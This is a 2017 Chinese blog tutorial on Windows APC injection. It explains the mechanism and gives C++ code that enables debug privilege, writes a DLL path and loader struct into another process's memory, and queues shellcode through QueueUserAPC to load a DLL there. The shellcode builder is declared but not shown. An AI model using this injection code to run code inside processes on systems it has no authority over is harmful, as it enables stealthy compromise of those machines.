APC注入

0X01 注入原理

      当线程被唤醒时APC中的注册函数会被执行的机制,并依此去调用我们的DLL加载代码,进而完成注入的目的

            具体的流程:

            1 当EXE里的某个线程执行到sleepEX(),或者waitForSingleObjectEX()(其实还有WaitForMultipleObjectsEx

 , SignalObjectAndWait,MsgWaitForMultipleObjectsEx)这几个函数时,会产生一个软中断。

            2 当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。

            3.利用QueueUserAPC()这个API可以在软中断的时间内插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的

0x02代码实现

          在注入的操作准备前需要提升权限,使我们有足够的权限去对相应的函数进行操作。

  三步。

      1先OpenProcessToken()打开令牌,

2然后LookupPrivilegeValue()

      3AdjustTokenPrivileges()调整令牌权限,提取完毕进行注入

 

 

注入:

      1先要根据进程ID,开启我们的远程注入线程。

      2开启完毕后,需要进行相应的内存的空间申请VirtualAllocEx(ProcessHandle, NULL, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

拥有自己的空间后就可以根据路径写入待注入的DLL路径。

      3 用WriteProcessMemory()函数

      4 再根据GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");   //LadrloadDll得到我们LoadLirbrary()地址

5 最后调用sleepEx()函数,利用QueueUserApc()函数对APC队列进行操作,完成注入。这里是因为sleepEx可以触发这个函数

完整代码如下:

// LoadExe.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <Windows.h>
#include <iostream>

using namespace std;
typedef struct _UNICODE_STRING
{
    USHORT                    Length;
    USHORT                    MaximumLength;
    PWSTR                    Buffer;
} UNICODE_STRING, *PUNICODE_STRING;


typedef struct _INJECT_STRUCT {
    UINT_PTR LdrLoadDllAddress;   //4
    UNICODE_STRING DllFullPath;   //4,4
    HANDLE OutHandle;
} INJECT_STRUCT, *PINJECT_STRUCT;
UINT32 MakeShellCode(UINT8* ShellCodeData, PVOID Address);

BOOL InjectByAPC(int ProcessID, int ThreadID, const char *szDllFullPath);
int GrantDebugPrivileges();
//analyzer.py  ---> Start(LoadExeFullPath,Inject,ProcessID,ThreadID,DllPath) LoadExe()
//APC 注入
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{

    int ProcessID = 0;
    int ThreadID = 0;



    if (__argc < 2)
    {
        return -1;
    }
    if (!strcmp(__argv[1], "Inject"))
    {

        GrantDebugPrivileges();
        ProcessID = atoi(__argv[2]);
        ThreadID = atoi(__argv[3]);
        return InjectByAPC(ProcessID, ThreadID, __argv[4]);
    }
    return 0;
}







//Target,exe  
BOOL InjectByAPC(int ProcessID, int ThreadID, const char *szDllFullPath)
{
    HANDLE ProcessHandle = NULL;
    HANDLE ThreadHandle = NULL;
    if (ProcessID <= 0 || ThreadID < 0)
    {
        return FALSE;
    }
    printf("Success\r\n");
    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);    //
    if (ProcessHandle == NULL) 
    {

        return FALSE;
    }

    if (ThreadID > 0) {
        ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadID);
        if (ThreadHandle == NULL) 
        {
            CloseHandle(ProcessHandle);
            return FALSE;
        }
    }



     //malloc  virtualalloc  globalalloc  heapalloc  new  malloc

    //注入都要在目标进程空间中申请内存  写入Dll的绝对路径
    UINT32 DllPathLength = 0;
    DllPathLength = (UINT32)strlen(szDllFullPath);
    WCHAR* wzDllFullPath = (WCHAR*)calloc(1, (DllPathLength + 1) * sizeof(WCHAR));   //在LoadEx进程空间中
    if (wzDllFullPath == NULL) 
    {

        return FALSE;
    }
    for (int i=0;i<DllPathLength;i++)
    {
        wzDllFullPath[i] = (UINT16)szDllFullPath[i];
    }

    //单字转换双字

    WCHAR* wzDllFullPathData = (WCHAR*)VirtualAllocEx(ProcessHandle, NULL, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (wzDllFullPathData == NULL) 
    {
        free(wzDllFullPath);
        wzDllFullPath = NULL;


        return FALSE;
    }
    SIZE_T ReturnSize = 0;
    if (!WriteProcessMemory(ProcessHandle, wzDllFullPathData, wzDllFullPath, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), &ReturnSize)) 
    {

        free(wzDllFullPath);
        wzDllFullPath = NULL;

        return FALSE;
    }
    LPVOID LdrLoadDll;
    LdrLoadDll = GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");   //LadrloadDll

    INJECT_STRUCT InjectStruct = {0};

    InjectStruct.LdrLoadDllAddress = (UINT_PTR)LdrLoadDll;
    InjectStruct.DllFullPath.Buffer = wzDllFullPathData;
    InjectStruct.DllFullPath.Length = InjectStruct.DllFullPath.MaximumLength = (USHORT)(wcslen(wzDllFullPath) * sizeof(WCHAR));



    PINJECT_STRUCT InjectStructData = NULL;
    InjectStructData = (PINJECT_STRUCT)VirtualAllocEx(ProcessHandle, NULL, sizeof(INJECT_STRUCT), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (InjectStructData == NULL)
    {
        free(wzDllFullPath);
        wzDllFullPath = NULL;

        return FALSE;
    }

    if (!WriteProcessMemory(ProcessHandle, InjectStructData, &InjectStruct, sizeof(INJECT_STRUCT), &ReturnSize))
    {
        free(wzDllFullPath);
        wzDllFullPath = NULL;

        return FALSE;
    }
    char szShellCode[64] = {0};
    UINT32  ShellCodeSize  = MakeShellCode((UINT8*)szShellCode, InjectStructData);

    CHAR* szShellCodeData = NULL;
    szShellCodeData =(CHAR*)VirtualAllocEx(ProcessHandle, NULL, ShellCodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (szShellCodeData == NULL) 
    {
        free(wzDllFullPath);
        wzDllFullPath = NULL;


        return FALSE;
    }

    if (!WriteProcessMemory(ProcessHandle, szShellCodeData, szShellCode, ShellCodeSize, &ReturnSize)) 
    {
        free(wzDllFullPath);
        wzDllFullPath = NULL;

        return FALSE;
    }



    if (ThreadHandle)
    {
        
        if(!QueueUserAPC((PAPCFUNC)szShellCodeData,ThreadHandle, (ULONG_PTR)InjectStructData))
        {
            free(wzDllFullPath);
            wzDllFullPath = NULL;
            return FALSE;
        }


    }

    free(wzDllFullPath);
    wzDllFullPath = NULL;
    return TRUE;
}








int GrantDebugPrivileges()
{
    HANDLE TokenHandle = NULL;
    TOKEN_PRIVILEGES PrivilegesToken;
    LUID v1;
    int iRet;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle))
    {
        return 0;
    }

    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &v1)) 
    {
        CloseHandle(TokenHandle);
        return 0;
    }
    PrivilegesToken.PrivilegeCount = 1;
    PrivilegesToken.Privileges[0].Luid = v1;
    PrivilegesToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    iRet = AdjustTokenPrivileges(TokenHandle, FALSE, &PrivilegesToken, sizeof(PrivilegesToken), NULL, NULL);
    CloseHandle(TokenHandle);

    return iRet;
}

 

posted @ 2017-02-22 09:47  Clay-  阅读(1066)  评论(2编辑  收藏  举报